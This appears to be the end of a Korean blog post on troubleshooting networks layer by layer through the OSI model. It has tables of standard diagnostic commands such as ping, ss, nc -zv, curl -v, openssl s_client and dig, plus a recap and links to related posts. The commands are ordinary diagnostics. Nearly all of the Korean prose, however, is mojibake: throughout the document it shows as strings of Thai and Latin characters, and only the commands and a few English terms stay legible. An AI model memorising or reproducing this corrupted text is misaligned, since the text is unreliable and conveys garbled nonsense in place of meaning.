- ์ ํ๋ฆฌ์ผ์ด์ ๋ฉ๋ชจ๋ฆฌ ๋ถ์กฑ, ํ๋ก์ธ์ค ํฌ๋์ โ 7๊ณ์ธต
์ค๋ฌด์์ OSI ๊ณ์ธต ์ฌ์ฉํ๋ ๋ฒ
๋คํธ์ํฌ ๋ฌธ์ ๊ฐ ์๊ฒผ์ ๋ ์๋์์๋ถํฐ ์ฌ๋ผ๊ฐ๋ ๊ฒ์ด ๊ธฐ๋ณธ์ด๋ค.
1๊ณ์ธต: ์ผ์ด๋ธ ์ฐ๊ฒฐ๋๋? ๋งํฌ ๋ถ๋น ๋ค์ด์ค๋?
โ
2๊ณ์ธต: ARP ํ
์ด๋ธ์ ์๋? MAC ์ฃผ์ ์ถฉ๋ ์๋?
โ
3๊ณ์ธต: IP ์ฃผ์ ๋ง๋? ๋ผ์ฐํ
ํ
์ด๋ธ ํ์ธ. ping ๋๋?
โ
4๊ณ์ธต: ํฌํธ ์ด๋ ค์๋? ๋ฐฉํ๋ฒฝ ๋งํ์๋? telnet/nc๋ก ํ์ธ
โ
7๊ณ์ธต: ์ ํ๋ฆฌ์ผ์ด์
์ค์ ๋ง๋? ์ธ์ฆ์ ์ ํจํ๊ฐ?๊ฐ ๊ณ์ธต๋ณ ๋ํ ๋ช ๋ น์ด ์ ๋ฆฌ
| ๊ณ์ธต | ์ง๋จ ๋ช ๋ น์ด | ํ์ธ ๋ด์ฉ |
|---|---|---|
| 1๊ณ์ธต | ethtool eth0, ip link |
๋งํฌ ์ํ, ์๋ |
| 2๊ณ์ธต | arp -a, ip neigh |
ARP ํ ์ด๋ธ |
| 3๊ณ์ธต | ping, traceroute, ip route |
๊ฒฝ๋ก, ์ฐ๊ฒฐ์ฑ |
| 4๊ณ์ธต | netstat -tulpn, ss -tulpn, nc -zv host port |
ํฌํธ ์ํ |
| 7๊ณ์ธต | curl -v, wget, nslookup |
HTTP ์๋ต, DNS |
์ถ๊ฐ๋ก ์์ฃผ ์ฐ๋ ์กฐํฉ:
| ๋ชฉ์ | ๋ช ๋ น์ด |
|---|---|
| SSL ์ธ์ฆ์ ํ์ธ | openssl s_client -connect host:443 |
| TCP ์ฐ๊ฒฐ ์ํ ์ ์ฒด ๋ณด๊ธฐ | ss -tan |
| TIME_WAIT ์์ผ ์ | ss -tan | grep TIME_WAIT | wc -l |
| ํจํท ์์ค๋ฅ ์ธก์ | mtr --report --report-cycles 100 [๋์] |
| HTTP ์์ฒญ ์์ธ ๋ก๊ทธ | curl -v --trace-ascii /dev/stdout [URL] |
| DNS ์ฟผ๋ฆฌ ์ถ์ | dig +trace google.com |
๋ง์น๋ฉฐ
OSI 7๊ณ์ธต์ ์ธ์ธ ํ์๋ ์๋ค. ํ์ง๋ง "์ด ๋ฌธ์ ๋ ๋ช ๊ณ์ธต์์ ์๊ธด ๊ฑด๊ฐ?"๋ผ๊ณ ์๊ฐํ ์ ์๊ฒ ๋๋ฉด, ๋ฌธ์ ๋ฅผ ํจ์ฌ ๋น ๋ฅด๊ฒ ํ ์ ์๋ค.
์ด ๊ธ์์ ๋ค๋ฃฌ ํ๋ฆ์ ์ ๋ฆฌํ๋ฉด:
- ๊ณ์ธต ๊ตฌ์กฐ์ ์กด์ฌ ์ด์ : ์ญํ ์ ๋ถ๋ฆฌํด์ ๋ณ๊ฒฝ๊ณผ ์ง๋จ์ ์ฝ๊ฒ ๋ง๋ค๊ธฐ ์ํด
- ์บก์ํ/์ญ์บก์ํ: ๊ฐ ๊ณ์ธต์ด ํค๋๋ฅผ ๋ถ์ด๊ณ ๋ฒ๊ธฐ๋ฉฐ ๋ฐ์ดํฐ๋ฅผ ์ ๋ฌํ๋ ๋ฐฉ์
- TCP ํธ๋์ ฐ์ดํฌ: ์ฐ๊ฒฐ์ ์ ๋ขฐ์ฑ์ด ์ด๋ป๊ฒ ๋ณด์ฅ๋๋์ง, TIME_WAIT๊ฐ ์ ํ์ํ์ง
- ๋ณด์ ์ํ: ๊ณ์ธต๋ง๋ค ๋ค๋ฅธ ๊ณต๊ฒฉ์ด ์๊ณ , ๋์ ๋ฐฉ๋ฒ๋ ๋ฌ๋ผ์ง๋ค
- Wireshark: ์ด๋ก ์ ๋์ผ๋ก ํ์ธํ๋ ๊ฐ์ฅ ์ง์ ์ ์ธ ๋ฐฉ๋ฒ
- ํธ๋ฌ๋ธ์ํ : ๊ณ์ธต ์์๋๋ก ์ฌ๋ผ๊ฐ๋ฉฐ ์์ธ์ ์ขํ๋ ์ฌ๊ณ ๋ฐฉ์
๋ค์ ๊ธ์์๋ 3๊ณ์ธต๊ณผ 4๊ณ์ธต์ ๋๋๋๋ **NAT(Network Address Translation)**๊ฐ ์ด๋ป๊ฒ ๋์ํ๋์ง ์ ๋ฆฌํ ์์ ์ด๋ค. ๊ณต์ ๊ธฐ ์์์ ๋ฌด์จ ์ผ์ด ์ผ์ด๋๋์ง, ํฌํธ ํฌ์๋ฉ์ ์ ํ์ํ์ง, ๊ฐ์ ํ๊ฒฝ์์ NAT์ด ์ค์ฒฉ๋๋ฉด ์ด๋ค ๋ฌธ์ ๊ฐ ์๊ธฐ๋์ง๊น์ง ๋ค๋ค๋ณผ ๊ฑฐ๋ค.
์ฐธ๊ณ ๋ฌธํ
๊ด๋ จ ๊ธ
- ๐ NAT ์์ ์ ๋ณต: ๊ณต์ ๊ธฐ ์์์ ๋ฌด์จ ์ผ์ด ์ผ์ด๋๋๊ฐ โ OSI 3ยท4๊ณ์ธต ๊ฐ๋ ์ ์ดํดํ๋ค๋ฉด, ๋ค์์ NAT๊ฐ ํจํท์ ์ด๋ป๊ฒ ๋ณํํ๋์ง ์์๋ณด์
- โก JavaScript ๋น๋๊ธฐ ์ฒ๋ฆฌ ์์ ๊ฐ์ด๋ โ ๋คํธ์ํฌ ์์ฒญ์ ์ฝ๋๋ก ๋ค๋ฃจ๋ ๋ฐฉ๋ฒ
- ๐ OWASP Top 10:2025 ์์ ๊ฐ์ด๋ โ ๊ณ์ธต๋ณ ๋ณด์ ์ํ์ ์ดํดํ๋ค๋ฉด, ์น ์ทจ์ฝ์ Top 10์ผ๋ก ์ฌํํ์
- ISO/IEC 7498-1. "Information technology โ Open Systems Interconnection โ Basic Reference Model." ISO, 1994. https://www.iso.org/standard/20269.htmlโฉ
